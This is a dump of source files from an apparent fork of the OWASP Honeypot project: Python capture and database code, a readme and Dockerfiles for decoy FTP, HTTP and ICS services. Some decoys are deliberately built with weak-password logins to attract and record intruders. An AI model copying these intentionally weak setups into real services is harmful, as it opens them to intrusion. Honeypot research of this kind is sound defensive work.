false, "language": "Python", "length_bytes": 2545, "license_type": "permissive", "max_line_length": 120, "num_lines": 83, "path": "/config.py", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport socket\n\nfrom core.time_helper import hours\nfrom core.compatible import generate_token\n\nreal_machine_ip_address = socket.gethostbyname(socket.gethostname())\n\n\ndef api_configuration():\n \"\"\"\n API Config (could be modify by user)\n\n Returns:\n a JSON with API configuration\n \"\"\"\n return { # OWASP Honeypot API Default Configuration\n \"api_host\": \"127.0.0.1\",\n \"api_port\": 5000,\n \"api_debug_mode\": False,\n \"api_access_without_key\": True,\n \"api_access_key\": generate_token(), # or any string, or None\n \"api_client_white_list\": {\n \"enabled\": False,\n \"ips\": [\"127.0.0.1\", \"10.0.0.1\", \"192.168.1.1\"]\n },\n \"api_access_log\": {\n \"enabled\": False,\n \"filename\": \"ohp_api_access.log\"\n },\n \"api_database\": \"mongodb://127.0.0.1:27017/\", # mongodb://user:[email protected]:27017/\n \"api_database_connection_timeout\": 2000, # miliseconds\n \"api_database_name\": \"ohp_events\"\n }\n\n\ndef network_configuration():\n \"\"\"\n network configuration\n\n Returns:\n JSON/Dict network configuration\n \"\"\"\n return {\n \"store_network_captured_files\": False,\n \"real_machine_ip_address\": real_machine_ip_address,\n \"ignore_real_machine_ip_address\": True, # or if you want to simulate from local network, save as False\n \"ignore_virtual_machine_ip_addresses\": True, # or if you want simulate from local network, save as False\n \"real_machine_identifier_name\": \"stockholm_server_1\", # can be anything e.g. real_machine_ip_address, name, etc\n \"ignore_real_machine_ip_addresses\": list(set([real_machine_ip_address, \"127.0.0.1\"])),\n # e.g. [\"10.0.0.1\", \"192.168.1.1\"]\n \"ignore_real_machine_ports\": [] # e.g. [22, 80, 5000]\n }\n\n\ndef docker_configuration():\n \"\"\"\n docker configuration\n\n Returns:\n JSON/Dict docker configuration\n \"\"\"\n return {\n \"virtual_machine_storage_limit\": 0.5, # Gigabyte\n \"virtual_machine_container_reset_factory_time_seconds\": hours(-1), # -1 is equals to never reset!\n\n }\n\n\ndef user_configuration():\n \"\"\"\n user configuration\n\n Returns:\n JSON/Dict user configuration\n \"\"\"\n return {\n \"language\": \"en\",\n \"default_selected_modules\": \"all\", # or select one or multiple (e.g. ftp/strong_password,ssh/strong_password)\n \"default_excluded_modules\": None # or any module name separated with comma\n }\n" }, { "alpha_fraction": 0.5460361838340759, "alphanum_fraction": 0.552746593952179, "avg_line_length": 38.80124282836914, "blob_id": "f7caa4e9886ec4e91684520e62b785748a3921a8", "content_id": "181f152be010bb7490e141699b1a5d3a74cf8305", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6408, "license_type": "permissive", "max_line_length": 120, "num_lines": 161, "path": "/core/network.py", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport subprocess\nimport netaddr\nimport select\nimport time\nimport os\n\nfrom database.connector import insert_selected_modules_network_event\nfrom database.connector import insert_other_network_event\nfrom core.alert import info\nfrom config import network_configuration\nfrom core.get_modules import virtual_machine_name_to_container_name\nfrom core.alert import warn\nfrom core.exit_helper import exit_failure\nfrom core.compatible import byte_to_str\n\n\ndef get_gateway_ip_addresses(configuration):\n \"\"\"\n get gateway ip addresses\n\n Args:\n configuration: user final configuration\n\n Returns:\n list of gateway's IPs\n \"\"\"\n gateway_ips = []\n for selected_module in configuration:\n container_name = virtual_machine_name_to_container_name(\n configuration[selected_module][\"virtual_machine_name\"],\n selected_module\n )\n try:\n gateway_ip = os.popen(\n \"docker inspect -f '{{{{range.NetworkSettings.Networks}}}}\"\n \"{{{{.Gateway}}}}{{{{end}}}}' {0}\".format(container_name)\n ).read().rsplit()[0].replace(\"\\'\", \"\")\n gateway_ips.append(gateway_ip)\n except IndexError as _:\n warn(\"unable to get container {0} IP address\".format(container_name))\n return list(set(gateway_ips))\n\n\ndef ignore_ip_addresses_rule_generator(ignore_ip_addresses):\n \"\"\"\n generate tshark rule to ignore ip addresses\n\n Args:\n ignore_ip_addresses: list of ip addresses\n\n Returns:\n rule string\n \"\"\"\n rules = []\n for ip_address in ignore_ip_addresses:\n rules.append(\"-Y ip.dst != {0}\".format(ip_address))\n return rules\n\n\ndef new_network_events(configuration):\n \"\"\"\n get and submit new network events\n\n Args:\n configuration: user final configuration\n\n Returns:\n True\n \"\"\"\n info(\"new_network_events thread started\")\n # honeypot ports\n honeypot_ports = []\n for selected_module in configuration:\n honeypot_ports.append(configuration[selected_module][\"real_machine_port_number\"])\n # set machine name\n machine_name = network_configuration()[\"real_machine_identifier_name\"]\n # get ip addresses\n virtual_machine_ip_addresses = [configuration[selected_module][\"ip_address\"] for selected_module in configuration]\n # ignore vm ips + ips in config.py\n ignore_ip_addresses = network_configuration()[\"ignore_real_machine_ip_addresses\"] \\\n if network_configuration()[\"ignore_real_machine_ip_address\"] else [] + virtual_machine_ip_addresses \\\n if network_configuration()[\"ignore_virtual_machine_ip_addresses\"] else []\n ignore_ip_addresses.extend(get_gateway_ip_addresses(configuration))\n # ignore ports\n ignore_ports = network_configuration()[\"ignore_real_machine_ports\"]\n # start tshark to capture network\n # tshark -Y \"ip.dst != 192.168.1.1\" -T fields -e ip.dst -e tcp.srcport\n run_tshark = [\"tshark\", \"-l\", \"-V\"]\n run_tshark.extend(ignore_ip_addresses_rule_generator(ignore_ip_addresses))\n run_tshark.extend(\n [\n \"-T\", \"fields\", \"-e\", \"ip.dst\", \"-e\", \"ip.src\", \"-e\", \"tcp.dstport\", \"-e\", \"tcp.srcport\", \"-ni\", \"any\"\n ]\n )\n process = subprocess.Popen(\n run_tshark,\n stdout=subprocess.PIPE, stderr=subprocess.PIPE\n )\n # wait 3 seconds if process terminated?\n time.sleep(3)\n if process.poll() is not None:\n exit_failure(\"tshark couldn't capture network, maybe run as root!\")\n # todo: replace tshark with python port sniffing - e.g https://www.binarytides.com/python-packet-sniffer-code-linux/\n # it will be easier to apply filters and analysis packets with python\n # if it requires to be run as root, please add a uid checker in framework startup\n\n # readline timeout bug fix: https://stackoverflow.com/a/10759061\n pull_object = select.poll()\n pull_object.register(process.stdout, select.POLLIN)\n # while True, read tshark output\n try:\n while True:\n if pull_object.poll(0):\n line = process.stdout.readline()\n # check if new IP and Port printed\n if len(line) > 0:\n # split the IP and Port\n try:\n line = line.rsplit()\n ip_dest = byte_to_str(line[0])\n ip_src = byte_to_str(line[1])\n port_dest = int(line[2])\n port_src = int(line[3])\n if (netaddr.valid_ipv4(ip_dest) or netaddr.valid_ipv6(ip_dest)) \\\n and ip_dest not in ignore_ip_addresses \\\n and ip_src not in ignore_ip_addresses \\\n and port_dest not in ignore_ports \\\n and port_src not in ignore_ports:\n # ignored ip addresses and ports in python - fix later\n # check if the port is in selected module\n\n if port_dest in honeypot_ports or port_src in honeypot_ports:\n if port_dest in honeypot_ports:\n insert_selected_modules_network_event(\n ip_dest,\n port_dest,\n ip_src,\n port_src,\n selected_module,\n machine_name\n )\n else:\n insert_other_network_event(\n ip_dest,\n port_dest,\n ip_src,\n port_src,\n machine_name\n )\n except Exception as _:\n del _\n # check if event shows an IP\n time.sleep(0.001)\n # todo: is sleep(0.001) fastest/best? it means it could get 1000 packets per second (maximum) from tshark\n # how could we prevent the DDoS attacks in here and avoid submitting in MongoDB? should we?\n except Exception as _:\n del _\n return True\n" }, { "alpha_fraction": 0.4970707595348358, "alphanum_fraction": 0.6131139993667603, "avg_line_length": 61.492958068847656, "blob_id": "631b9e68b78d76aaa224f06b03762273b420d7be", "content_id": "d2b761d0c037dae7e8f3658dcc5c782f0b267adf", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4438, "license_type": "permissive", "max_line_length": 399, "num_lines": 71, "path": "/readme.md", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "# OWASP Honeypot\n\n[![Build Status](https://travis-ci.org/zdresearch/OWASP-Honeypot.svg?branch=master)](https://travis-ci.org/zdresearch/OWASP-Honeypot) [![Codacy Badge](https://api.codacy.com/project/badge/Grade/5d4f23ebcfb0417e906ed29441f60050)](https://www.codacy.com/app/zdresearch/OWASP-Honeypot?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=zdresearch/OWASP-Honeypot&amp;utm_campaign=Badge_Grade)\n\nWe appreciate any contribution, ideas, feedback. feel free to contact us by creating an issue or send me email directly [[email protected]](mailto:[email protected]). Please visit [Wiki](https://github.com/zdresearch/OWASP-Honeypot/wiki) page for more information.\n\n### Live API\nWe've setup a live API on a few servers in Stockholm area, you can use API calls and information without any limitation, the service is running on a tiny VPS, please do not send a lot of requests.\n\n* http://ohp-stockholm-live.z3r0d4y.com:5000/\n \n______\n\n##### ***WE ARE IN RESEARCH AND DEVELOP PHASE, EXPECT ERRORS!***\n##### ***NO WARRANTY! USE WITH YOUR OWN RESPONSIBILITY!***\n##### ***DO NOT USE IT ON THE SAME SERVER(S)/NETWORK WHICH YOU HAVING YOUR PRODUCT/INFORMATION/SENSIBLE DATA***\n\n* Running Example (I sent `ctrl + c` to close and remove honeypot service correctly!)\n\n```\n\n ______ __ _____ _____\n / __ \\ \\ / /\\ / ____| __ \\\n | | | \\ \\ /\\ / / \\ | (___ | |__) |\n | | | |\\ \\/ \\/ / /\\ \\ \\___ \\| ___/\n | |__| | \\ /\\ / ____ \\ ____) | |\n \\____/ \\/ \\/_/ \\_\\_____/|_|\n _ _ _____ _\n | | | | | __ \\ | |\n | |__| | ___ _ __ ___ _ _| |__) |__ | |_\n | __ |/ _ \\| \"_ \\ / _ \\ | | | ___/ _ \\| __|\n | | | | (_) | | | | __/ |_| | | | (_) | |_\n |_| |_|\\___/|_| |_|\\___|\\__, |_| \\___/ \\__|\n __/ |\n |___/\n\n[+] [2018-07-09 23:56:06] OWASP Honeypot started ...\n[+] [2018-07-09 23:56:06] loading modules ftp/weak_password, http/basic_auth_weak_password, ssh/weak_password\n[+] [2018-07-09 23:56:06] creating image ohp_ftpserver\n[+] [2018-07-09 23:56:35] image ohp_ftpserver created\n[+] [2018-07-09 23:56:35] creating image ohp_httpserver\n[+] [2018-07-09 23:57:00] image ohp_httpserver created\n[+] [2018-07-09 23:57:00] creating image ohp_sshserver\n[+] [2018-07-09 23:57:17] image ohp_sshserver created\n[+] [2018-07-09 23:57:17] creating ohp_internet network\n[+] [2018-07-09 23:57:17] ohp_internet network created subnet:172.19.0.0/16 gateway:172.19.0.1\n[+] [2018-07-09 23:57:17] creating ohp_no_internet network\n[+] [2018-07-09 23:57:18] ohp_no_internet network created subnet:172.20.0.0/16 gateway:172.20.0.1\n[+] [2018-07-09 23:57:18] container ohp_ftpserver_weak_password started, forwarding 0.0.0.0:21 to 72.20.0.:21\n[+] [2018-07-09 23:57:18] container ohp_httpserver_basic_auth_weak_password started, forwarding 0.0.0.0:80 to 72.20.0.:80\n[+] [2018-07-09 23:57:19] container ohp_sshserver_weak_password started, forwarding 0.0.0.0:22 to 72.19.0.:22\n[+] [2018-07-09 23:57:19] all selected modules started: ftp/weak_password, http/basic_auth_weak_password, ssh/weak_password\n[+] [2018-07-09 23:57:29] interrupted by user, please wait to stop the containers and remove the containers and images\n[+] [2018-07-09 23:57:39] stopping container ohp_httpserver_basic_auth_weak_password\n[+] [2018-07-09 23:57:49] stopping container ohp_sshserver_weak_password\n[+] [2018-07-09 23:57:49] removing container ohp_ftpserver_weak_password\n[+] [2018-07-09 23:57:49] removing container ohp_httpserver_basic_auth_weak_password\n[+] [2018-07-09 23:57:49] removing container ohp_sshserver_weak_password\n[+] [2018-07-09 23:57:49] removing image ohp_sshserver\n[+] [2018-07-09 23:57:49] removing image ohp_httpserver\n[+] [2018-07-09 23:57:49] removing image ohp_ftpserver\n[+] [2018-07-09 23:57:49] finished.\n\n```\n\n### API Actions & WebUI\n\n* Please visit [API Actions](https://github.com/zdresearch/OWASP-Honeypot/wiki/API) in wiki page to find more information\n* Use `python ohp.py --start-api-server` to start API Server with [default configuration](https://github.com/zdresearch/OWASP-Honeypot/blob/master/config.py).\n\n![image_2018-07-17_01-48-26](https://user-images.githubusercontent.com/7676267/42784742-63f95a2e-8965-11e8-8d64-435f6182dcf2.png)\n\n" }, { "alpha_fraction": 0.7386569976806641, "alphanum_fraction": 0.7604355812072754, "avg_line_length": 28, "blob_id": "13c1b056be77b4ca1c04b30cd830f75a8e777ce2", "content_id": "822b0aedf0729ef4bd331679c53d20e417b67046", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 551, "license_type": "permissive", "max_line_length": 74, "num_lines": 19, "path": "/lib/modules/ftp/strong_password/Dockerfile", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "# using phusion/baseimage as base image\nFROM phusion/baseimage:0.9.19\n\n# use baseimage-docker's init system.\nCMD [\"/sbin/my_init\"]\n\n# update and install python3 and pip3\nRUN apt-get update && apt-get install -y python3.5 python3-pip python3-dev\n\nRUN pip3 install datetime\nCOPY files/ftp_sniffer.py /root/ftp_sniffer.py\nCOPY files/server.conf /root/server.conf\n\nRUN echo {username}:{password} >> /root/users.conf\n# install ftp (not necessary)\nRUN apt-get install -y ftp\n\n# start the service + wait for container\nENTRYPOINT python3 /root/ftp_sniffer.py\n" }, { "alpha_fraction": 0.6394460201263428, "alphanum_fraction": 0.6442216038703918, "avg_line_length": 31.71875, "blob_id": "b95b8dd0d243d311c6e0bc7c179f55346932f291", "content_id": "96aa5d4911604981aed453bdec17e2bcca838b13", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2094, "license_type": "permissive", "max_line_length": 112, "num_lines": 64, "path": "/core/get_modules.py", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom glob import glob\nimport os\nimport inspect\n\nimport lib\nfrom core.compatible import is_windows\nfrom core.alert import warn\nfrom core.alert import messages\n\n\ndef virtual_machine_names_to_container_names(configuration):\n \"\"\"\n convert virtual machine names to container names using configuration\n Args:\n configuration: user final configuration\n\n Returns:\n list of container name in array\n \"\"\"\n return [\n \"{0}_{1}\".format(configuration[selected_module][\"virtual_machine_name\"], selected_module.rsplit(\"/\")[1])\n for selected_module in configuration\n ]\n\n\ndef virtual_machine_name_to_container_name(virtual_machine_name, module_name):\n \"\"\"\n virtual machine name to container name\n\n Args:\n module_name: select module name\n virtual_machine_name: virtual machine name\n\n Returns:\n string(container name)\n \"\"\"\n return \"{0}_{1}\".format(virtual_machine_name, module_name.rsplit(\"/\")[1])\n\n\ndef load_all_modules():\n \"\"\"\n load all available modules\n\n Returns:\n an array of all module names\n \"\"\"\n # Search for Modules\n # the modules are available in lib/modules/category_name/module_name (e.g. lib/modules/ftp/weak_password\n # they will be listed based on the folder names and if \"Dockerfile\" exist!\n # structure of module name: module_name = lib/modules/(category_name/module_name)/__init.py\n # example: module_name = lib/modules/(ftp/weak_password)/__init.py = ftp/weak_password\n module_names = []\n for module in glob(os.path.dirname(inspect.getfile(lib)) + '/modules/*/*/__init__.py'):\n module_name = module.rsplit('\\\\' if is_windows() else '/')[-3] + '/' + \\\n module.rsplit('\\\\' if is_windows() else '/')[-2]\n if os.path.exists(module.rsplit('__init__.py')[0] + '/' + 'Dockerfile'):\n if module_name not in module_names:\n module_names.append(module_name)\n else:\n warn(messages(\"en\", \"module_not_available\").format(module_name))\n return module_names\n" }, { "alpha_fraction": 0.6125654578208923, "alphanum_fraction": 0.6230366230010986, "avg_line_length": 20.22222137451172, "blob_id": "5d42a8cf5d46576bdc67f5615e676a6ad7489903", "content_id": "10e4c8a6e1198f03a5145b09ded5816c65eedb43", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 191, "license_type": "permissive", "max_line_length": 45, "num_lines": 9, "path": "/ohp.py", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys\nfrom core.load import load_honeypot_engine\n\nif __name__ == \"__main__\":\n load_honeypot_engine() # load the engine\n sys.exit(0)\n" }, { "alpha_fraction": 0.2849026024341583, "alphanum_fraction": 0.28936687111854553, "avg_line_length": 18.711999893188477, "blob_id": "c6c84cc71a2f05deb304ae324aa25d10aabc932b", "content_id": "82fd347360a9c7deea83e4b59d607387be6cc1c0", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2464, "license_type": "permissive", "max_line_length": 105, "num_lines": 125, "path": "/api/database_queries.py", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nThis file is to be used to store all the queries which are being used for querying mongodb using pymongo.\nCreated this file because the queries are repeated over the URI's.\n\"\"\"\nfrom bson.son import SON\n\ntop_ip_dests_groupby = {\n \"$group\":\n {\n \"_id\":\n {\n \"ip_dest\": \"$ip_dest\",\n \"country_ip_dest\": \"$country_ip_dest\"\n },\n \"count\":\n {\n \"$sum\": 1\n }\n }\n}\n\nsort_by_count = {\n \"$sort\": SON(\n [\n (\"count\", -1)\n ]\n )\n}\n\nsort_by_count_and_id = {\n \"$sort\":\n SON(\n [\n (\"count\", -1),\n (\"_id\", -1)\n ]\n )\n}\n\ntop_port_dests_groupby = {\n \"$group\":\n {\n \"_id\":\n {\n \"port_dest\": \"$port_dest\",\n \"country_ip_dest\": \"$country_ip_dest\",\n },\n \"count\":\n {\n \"$sum\": 1\n }\n }\n}\n\ntop_machine_names_groupby = {\n \"$group\":\n {\n \"_id\":\n {\n \"machine_name\": \"$machine_name\"\n },\n \"count\":\n {\n \"$sum\": 1\n }\n }\n}\n\ntop_countries_groupby = {\n \"$group\":\n {\n \"_id\": \"$country_ip_dest\",\n \"count\":\n {\n \"$sum\": 1\n }\n }\n}\n\ngroup_by_ip_dest = {\n \"$group\":\n {\n \"_id\": {\n \"ip_dest\": \"$ip_dest\"\n },\n \"count\": {\n \"$sum\": 1\n }\n }\n}\n\ngroup_by_ip_dest_and_username = {\n \"$group\":\n {\n \"_id\":\n {\n \"ip_dest\": \"$ip_dest\",\n \"username\": \"$username\",\n \"module_name\": \"$module_name\"\n },\n \"count\":\n {\n \"$sum\": 1\n }\n }\n}\n\ngroup_by_ip_dest_and_password = {\n \"$group\":\n {\n \"_id\":\n {\n \"ip_dest\": \"$ip_dest\",\n \"password\": \"$password\",\n \"module_name\": \"$module_name\"\n },\n \"count\":\n {\n \"$sum\": 1\n }\n }\n}\n" }, { "alpha_fraction": 0.7692307829856873, "alphanum_fraction": 0.7777777910232544, "avg_line_length": 35.07692337036133, "blob_id": "d49bf5decdb12f8334f58bd2435019408ac586c9", "content_id": "31255fe834c235996aaee8505da27198b4b26c61", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 468, "license_type": "permissive", "max_line_length": 88, "num_lines": 13, "path": "/lib/modules/ics/veeder_root_guardian_ast/Dockerfile", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "# using phusion/baseimage as base image\nFROM phusion/baseimage:0.9.19\n\n# update and install apache + python\nRUN apt-get update && apt-get install -y python\n\n# copy gaspot service and config.ini file\nCOPY files/veeder_root_guardian_ast_service.py /root/veeder_root_guardian_ast_service.py\nCOPY files/config.py /root/config.py\nCOPY files/commands.py /root/commands.py\n\n# run service\nENTRYPOINT cd /root; nohup python veeder_root_guardian_ast_service.py &> log.txt & tail" }, { "alpha_fraction": 0.6109569072723389, "alphanum_fraction": 0.616216242313385, "avg_line_length": 32.06763458251953, "blob_id": "7f661114438c6193da8d7d961e20815112b3eac9", "content_id": "d8d67d6cf4dd27058a61de5658e544fc972c11c6", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6845, "license_type": "permissive", "max_line_length": 113, "num_lines": 207, "path": "/database/connector.py", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport pymongo\nimport os\nimport inspect\nimport time\n\nfrom core.time_helper import now\nfrom config import api_configuration\nfrom config import network_configuration\nfrom lib.ip2location import IP2Location\nfrom core.compatible import byte_to_str\nfrom core.alert import verbose_info\nfrom core.compatible import is_verbose_mode\n\nclient = pymongo.MongoClient(\n api_configuration()[\"api_database\"],\n serverSelectionTimeoutMS=api_configuration()[\"api_database_connection_timeout\"]\n)\ndatabase = client[api_configuration()[\"api_database_name\"]]\nhoneypot_events = database.honeypot_events\nnetwork_events = database.network_events\nglobal honeypot_events_queue, network_events_queue\nhoneypot_events_queue = []\nnetwork_events_queue = []\ncredential_events = database.credential_events\nhoneypot_events_data = database.honeypot_events_data\nIP2Location = IP2Location.IP2Location(\n os.path.join(\n os.path.dirname(\n inspect.getfile(IP2Location)\n ),\n \"IP2LOCATION-LITE-DB1.BIN\")\n)\n\n\n# todo: write documentation about machine_name\n\ndef insert_selected_modules_network_event(ip_dest, port_dest, ip_src, port_src, module_name, machine_name):\n \"\"\"\n insert selected modules event to honeypot_events collection\n\n Args:\n ip_dest: dest ip (machine)\n port_dest: dest port (machine)\n ip_src: src ip\n port_src: src port\n module_name: module name ran on the port\n machine_name: real machine name\n\n Returns:\n ObjectId(inserted_id)\n \"\"\"\n if is_verbose_mode():\n verbose_info(\n \"Received honeypot event, ip_dest:{0}, port_dest:{1}, \"\n \"ip_src:{2}, port_src:{3}, module_name:{4}, machine_name:{5}\".format(\n ip_dest, port_dest, ip_src, port_src, module_name, machine_name\n )\n )\n\n global honeypot_events_queue\n honeypot_events_queue.append(\n {\n \"ip_dest\": byte_to_str(ip_dest),\n \"port_dest\": int(port_dest),\n \"ip_src\": byte_to_str(ip_src),\n \"port_src\": int(port_src),\n \"module_name\": module_name,\n \"date\": now(),\n \"machine_name\": machine_name,\n \"event_type\": \"honeypot_event\",\n \"country_ip_src\": byte_to_str(IP2Location.get_country_short(byte_to_str(ip_src))),\n \"country_ip_dest\": byte_to_str(IP2Location.get_country_short(byte_to_str(ip_dest)))\n }\n )\n return\n\n\ndef insert_other_network_event(ip_dest, port_dest, ip_src, port_src, machine_name):\n \"\"\"\n insert other network events (port scan, etc..) to network_events collection\n\n Args:\n ip_dest: dest ip (machine)\n port_dest: dest port (machine)\n ip_src: src ip\n port_src: src port\n machine_name: real machine name\n\n Returns:\n ObjectId(inserted_id)\n \"\"\"\n if is_verbose_mode():\n verbose_info(\n \"Received network event, ip_dest:{0}, port_dest:{1}, \"\n \"ip_src:{2}, port_src:{3}, machine_name:{4}\".format(\n ip_dest, port_dest, ip_src, port_src, machine_name\n )\n )\n global network_events_queue\n network_events_queue.append(\n {\n \"ip_dest\": byte_to_str(ip_dest),\n \"port_dest\": int(port_dest),\n \"ip_src\": byte_to_str(ip_src),\n \"port_src\": int(port_src),\n \"date\": now(),\n \"machine_name\": machine_name,\n \"country_ip_src\": byte_to_str(IP2Location.get_country_short(byte_to_str(ip_src))),\n \"country_ip_dest\": byte_to_str(IP2Location.get_country_short(byte_to_str(ip_dest)))\n }\n )\n return\n\n\ndef insert_events_in_bulk():\n \"\"\"\n inserts all honeypot and network events in bulk to honeypot_events and network_events collection respectively\n \"\"\"\n global honeypot_events_queue\n global network_events_queue\n if is_verbose_mode() and (honeypot_events_queue or network_events_queue):\n verbose_info(\"Submitting new events to database\")\n if honeypot_events_queue:\n new_events = honeypot_events_queue[:]\n honeypot_events_queue = []\n honeypot_events.insert_many(new_events)\n if network_events_queue:\n new_events = network_events_queue[:]\n network_events_queue = []\n network_events.insert_many(new_events)\n return\n\n\ndef insert_bulk_events_from_thread():\n \"\"\"\n Thread function for inserting bulk events in a thread\n :return: True/None\n \"\"\"\n while True:\n insert_events_in_bulk()\n time.sleep(3)\n return True\n\n\ndef insert_honeypot_events_credential_from_module_processor(ip, username, password, module_name, date):\n \"\"\"\n insert honeypot events which are obtained from the modules\n args:\n ip : client ip used for connecting to the module\n username : username tried for connecting to modules\n password : password tried for connecting to modules\n module_name : on which module client accessed\n date : datetime of the event\n\n :return: inserted_id\n \"\"\"\n if is_verbose_mode():\n verbose_info(\n \"Received honeypot credential event, ip_dest:{0}, username:{1}, \"\n \"password:{2}, module_name:{3}, machine_name:{4}\".format(\n ip, username, password, module_name, network_configuration()[\"real_machine_identifier_name\"]\n )\n )\n return credential_events.insert_one(\n {\n \"ip_dest\": byte_to_str(ip),\n \"module_name\": module_name,\n \"date\": date,\n \"username\": username,\n \"password\": password,\n \"country\": byte_to_str(IP2Location.get_country_short(byte_to_str(ip))),\n \"machine_name\": network_configuration()[\"real_machine_identifier_name\"]\n }\n ).inserted_id\n\n\ndef insert_honeypot_events_data_from_module_processor(ip, module_name, date, data):\n \"\"\"\n insert data which is received from honeypot modules\n args:\n ip : client ip used for putting the data\n module_name : on which module client accessed\n date : datetime of the events\n data : Data which is obtained from the client\n\n :return: inserted_id\n \"\"\"\n if is_verbose_mode():\n verbose_info(\n \"Received honeypot data event, ip_dest:{0}, module_name:{1}, \"\n \"machine_name:{2}, data:{3}\".format(\n ip, module_name, network_configuration()[\"real_machine_identifier_name\"], data\n )\n )\n return honeypot_events_data.insert_one(\n {\n \"ip_dest\": byte_to_str(ip),\n \"module_name\": module_name,\n \"date\": date,\n \"data\": data,\n \"country\": byte_to_str(IP2Location.get_country_short(byte_to_str(ip))),\n \"machine_name\": network_configuration()[\"real_machine_identifier_name\"]\n }\n ).inserted_id\n" }, { "alpha_fraction": 0.8030303120613098, "alphanum_fraction": 0.8030303120613098, "avg_line_length": 25.600000381469727, "blob_id": "fc5757ea1ebe54e75cf2e1a38e7d8e58fc30285d", "content_id": "d67d78a00a562210404a0d7dbf354982fe0d64e8", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 132, "license_type": "permissive", "max_line_length": 59, "num_lines": 5, "path": "/lib/modules/http/readme.md", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "### Hypertext Transfer Protocol\n\nHTTP honeypot modules will locate here\n\n* https://en.wikipedia.org/wiki/Hypertext_Transfer_Protocol" }, { "alpha_fraction": 0.7166212797164917, "alphanum_fraction": 0.7316076159477234, "avg_line_length": 42.235294342041016, "blob_id": "df755d83a1d27d5ff6d5f1394df978fe2e3225bb", "content_id": "53bd311819be2e51d8d0829be04298d089d06047", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 734, "license_type": "permissive", "max_line_length": 220, "num_lines": 17, "path": "/lib/modules/http/basic_auth_weak_password/Dockerfile", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "# using phusion/baseimage as base image\nFROM phusion/baseimage:0.9.19\n\n# update and install apache + python\nRUN apt-get update && apt-get install -y apache2 apache2-utils python\n\n# create credential\nRUN htpasswd -b -c /var/www/html/.htpasswd {username} {password}\n\n# copy .htaccess file using echo to /var/www/html/.htaccess (read the readme.md for more information)\nCOPY files/.htaccess /var/www/html/.htaccess\n\n# config apache\nRUN python -c \"f=open(\\\"/etc/apache2/apache2.conf\\\").read().replace(\\\"AllowOverride None\\\", \\\"AllowOverride All\\\");z=open(\\\"/etc/apache2/apache2.conf\\\", \\\"w\\\"); z.write(f); z.close(); print \\\"apache config modified...\\\"\"\n\n# start the service + wait for container\nENTRYPOINT service apache2 restart && tail" }, { "alpha_fraction": 0.5564202070236206, "alphanum_fraction": 0.5622568130493164, "avg_line_length": 37.074073791503906, "blob_id": "e32de1ab4fb46d8f84c9ef290d8281e29dcbd40c", "content_id": "558eda497ba24349d82fb729a6b6d73224f14586", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1028, "license_type": "permissive", "max_line_length": 107, "num_lines": 27, "path": "/lib/language/messages_en.py", "repo_name": "ChakshuGupta/OWASP-Honeypot", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\ndef all_messages():\n \"\"\"\n keep all messages in en\n\n Returns:\n all messages in JSON\n \"\"\"\n return \\\n {\n \"honeypot_started\": \"OWASP Honeypot started ...\",\n \"loading_modules\": \"loading modules {0}\",\n \"module_not_available\": \"module {0} is not available\",\n \"docker_error\": \"cannot communicate with docker, please install and start the docker service!\",\n \"engine\": \"OHP Engine\",\n \"engine_input\": \"OHP Engine input options\",\n \"select_module\": \"select module(s) {0}\",\n \"exclude_module\": \"select modules(s) to exclude {0}\",\n \"vm_storage_limit\": \"virtual machine storage limit\",\n \"vm_reset_factory_time\": \"virtual machine reset factory time\",\n \"show_help_menu\": \"print this help menu\",\n \"zero_module_selected\": \"no module selected, please select one at least!\",\n \"module_not_found\": \"module {0} not found!\",\n }\n" }, { 